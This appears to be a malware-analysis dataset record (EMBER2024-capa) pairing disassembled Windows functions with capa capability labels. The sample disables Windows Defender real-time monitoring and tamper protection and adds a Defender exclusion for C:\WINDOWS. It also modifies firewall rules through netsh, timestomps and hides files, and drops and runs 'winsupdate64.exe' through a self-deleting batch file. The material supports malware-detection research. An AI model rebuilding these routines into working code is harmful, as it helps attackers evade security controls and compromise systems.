joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400018e0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
lea rax, [rsp + 0x78]
lea rdx, [0x140006100]
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x68], 4
mov dword [rsp + 0x60], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor r9d, r9d
test eax, eax
jne 0x140001954
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x68]
lea rdx, str.LOCAL_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001994
lea ebx, [rax + 1]
jmp 0x1400019c9
lea rax, [rsp + 0x70]
lea rdx, [0x140006100]
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x78]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400019c9
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
lea rdx, str.LOCAL_Value
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400019d9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x50
pop rbx
ret

Function at 0x1400019f0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
call fcn.1400018e0
test eax, eax
je 0x140001a04
xor eax, eax
add rsp, 0x38
ret
lea rcx, [0x1400069f0]
xor edx, edx
mov r8d, 0xfa0
call sub.MSVCR90.dll_memset
lea rdx, str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
lea rcx, [0x1400069f0]
call qword [sym.imp.MSVCR90.dll__swprintf]
xor r11d, r11d
lea r9, [0x1400069f0]
mov dword [rsp + 0x28], r11d
lea r8, [0x140004598]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
add rsp, 0x38
ret
Function at 0x140001a70
Capabilities:
Create process on windows
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x4c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4b0], rax
lea rcx, [rsp + 0x3a1]
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x3a0], dil
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x291]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x290], dil
call sub.MSVCR90.dll_memset
lea ecx, [rdi + 0xf]
xor edx, edx
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x50], 0x238
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x50]
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32FirstW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x3a0]
call fcn.140001750
test eax, eax
je 0x140001c3c
call fcn.1400019f0
lea r11, [rsp + 0x38]
lea rdx, [0x140006100]
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001c2a
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
lea rdx, str.LOCAL_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001b86
cmp dword [rsp + 0x30], 3
je 0x140001c2a
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x290]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [rsp + 0x3a0]
lea rdx, str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
lea rcx, [rsp + 0x290]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x290]
lea r8, [0x140004618]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, str.LOCAL_Value
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x30], 3
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 1
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140001c3a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rcx, qword [rsp + 0x4b0]
xor rcx, rsp
call fcn.140002890
mov rbx, qword [rsp + 0x4d0]
add rsp, 0x4c0
pop rdi
ret
Function at 0x140001c60
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 3]
mov dword [rsp + 0x28], 0x2000000
mov rdi, rcx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001cb6
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov eax, 0x7da
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x70]
lea rdx, [rsp + 0x70]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov eax, 1
add rsp, 0x50
pop rdi
ret
Function at 0x140001d60
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x2f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rcx, [rsp + 0x50]
lea rdx, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
mov r8d, 0x69
call sub.MSVCR90.dll_memcpy
xor ebp, ebp
lea rdi, [0x1400067d0]
lea r9, str.Unzxc_smxz64.bat
lea rdx, [0x1400046ec]
lea rcx, [rsp + 0x1d0]
mov r8, rdi
mov dword [rsp + 0x40], ebp
call qword [sym.imp.MSVCR90.dll_sprintf]
mov rdx, rbp
nop word [rax + rax]
movzx eax, byte [rdx + rdi]
inc rdx
mov byte [rsp + rdx + 0xbf], al
test al, al
jne 0x140001dd0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xc0]
repne scasb al, byte [rdi]
movzx eax, word [0x1400046f4]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [rsp + 0xc0]
repne scasb al, byte [rdi]
mov rax, qword [str.winsupdate64.exe]
mov qword [rsp + 0x30], rbp
mov qword [rdi - 1], rax
mov rax, qword [0x140004700]
lea rcx, [rsp + 0x1d0]
mov qword [rdi + 7], rax
movzx eax, byte [0x140004708]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov byte [rdi + 0xf], al
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001f98
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x1400068e0]
repne scasb al, byte [rdi]
lea rdi, [rsp + 0xc0]
mov qword [rsp + 0x300], rsi
not rcx
lea edx, [rcx + rcx*2 - 3]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x1d0]
not rcx
dec rcx
add edx, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x50]
not rcx
dec rcx
add edx, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea eax, [rdx + rcx + 0x63]
movsxd rdi, eax
mov rcx, rdi
call qword [sym.imp.MSVCR90.dll_malloc]
mov ecx, 1
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rdi
xor edx, edx
mov rcx, rsi
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x1d0]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xc0]
lea r9, [0x1400068e0]
lea r8, [0x1400068e0]
lea rdx, [rsp + 0x50]
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCR90.dll_sprintf]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
lea r9, [rsp + 0x40]
mov rdx, rsi
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], rbp
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x1d0]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
test rsi, rsi
je 0x140001f90
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_free]
mov rsi, qword [rsp + 0x300]
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.140002890
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001fc0
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov edi, ecx
mov rcx, rdx
mov rbx, rdx
xor ebp, ebp
call qword [sym.imp.MSVCR90.dll_remove]
cmp eax, 0xffffffff
jne 0x140002004
call qword [sym.imp.MSVCR90.dll__errno]
cmp dword [rax], 0xd
jne 0x140002004
xor eax, eax
jmp 0x1400020e9
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x148], r12
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x140], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x140004718]
movzx edx, di
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor ecx, ecx
mov rdx, rax
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
lea rdx, [rsp + 0x20]
mov rdi, rax
sub rdx, rbx
movzx ecx, byte [rbx]
inc rbx
mov byte [rdx + rbx - 1], cl
test cl, cl
jne 0x140002051
test rax, rax
je 0x1400020d7
mov rcx, rax
mov qword [rsp + 0x180], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x1400020c6
lea rdx, [0x140004720]
lea rcx, [rsp + 0x20]
mov ebp, 1
call qword [sym.imp.MSVCR90.dll_fopen]
mov ecx, ebp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r9, rbx
mov rdx, rbp
movsxd r8, eax
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_fclose]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rsi, qword [rsp + 0x180]
mov r13, qword [rsp + 0x140]
mov r12, qword [rsp + 0x148]
mov eax, ebp
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140002890
add rsp, 0x150
pop rdi
pop rbp
pop rbx
ret

Function at 0x140002110
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov edi, ecx
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderFeatures
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x48], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140002189
mov ebx, 1
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
lea r9d, [rbx + 3]
lea rdx, str.TamperProtection
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x48], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002199
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x1400021b0
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
sub rsp, 0x58
lea rax, [rsp + 0x70]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140002224
lea rax, [rsp + 0x68]
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor eax, eax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140002259
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x60]
lea rdx, str.DisableRealtimeMonitoring
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140002269
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x58
ret

Function at 0x140002270
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
call sub.MSVCR90.dll_memset
mov rax, qword [str.C:WINDOWS]
lea rcx, [rsp + 0x60]
mov qword [rcx], rax
movzx eax, word [0x140004818]
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
mov word [rcx + 8], ax
movzx eax, byte [0x14000481a]
xor ebx, ebx
mov byte [rcx + 0xa], al
lea rax, [rsp + 0x58]
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x54], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x14000233d
lea rax, [rsp + 0x54]
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14000236c
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000237c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140002890
add rsp, 0x180
pop rbx
ret
Function at 0x1400023a0
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400023c8
xor eax, eax
add rsp, 0x48
ret
lea r8, [rsp + 0x60]
lea rdx, [0x140004820]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400023c1
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x40], rbx
xor ebx, ebx
lea r8, [rsp + 0x30]
xor edx, edx
lea r9d, [rbx + 0x10]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000242f
mov rbx, qword [rsp + 0x40]
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x48
ret
Function at 0x140002c3b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x1400028aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400028a6
repz ret
ror rcx, 0x10
jmp 0x140002b94
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400062e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400063d8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002c19
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400062e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140002c3b
mov rax, qword [rsp + 0x88]
mov qword [0x1400063d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140006378], rax
mov rax, qword [0x1400063d8]
mov qword [0x140006250], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140006360], rax
mov dword [0x140006240], 0xc0000409
mov dword [0x140006244], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140006008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400062d8], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140004340]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400062d8], 0
jne 0x140002cc2
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140003c40
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003c74
cmp word [rcx], 0x5a4d
jne 0x140003c74
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003c74
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003c74
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003b80
test eax, eax
jne 0x140003c90
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140003bf0
test rax, rax
je 0x140003c85
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.14000444b
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004340
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.1400042e0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140009964
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1405791b8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1405791b4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400099b2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400099aa
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140009a99
inc ebx
add rax, 0x28
jmp 0x14000998a
mov rcx, r12
call fcn.14000a191
mov rbp, rax
test rax, rax
jne 0x1400099d1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140009900
movsxd rbx, ebx
mov rax, qword [0x1405791b8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.14000a23f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1405791b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140009a33
mov rax, qword [0x1405791b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140009900
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140009a93
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140009a93
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1405791b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140009a93
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140009900
inc dword [0x1405791b4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140009ec0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140579220]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140579200]
test rbx, rbx
je 0x140009f0c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140009f06
test eax, eax
jne 0x140009f06
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140009ede
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000a0c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000a0e3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x14000a0e3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14000a0e4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x14000a11e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x14000a115
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000a120
inc r8d
add rax, 0x28
jmp 0x14000a0fc
xor eax, eax
ret

Function at 0x14000a191
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14056ebd0]
mov r8, rcx
mov rcx, r9
call fcn.14000a0c0
test eax, eax
je 0x14000a1bd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.14000a0e4
xor eax, eax
add rsp, 0x28
ret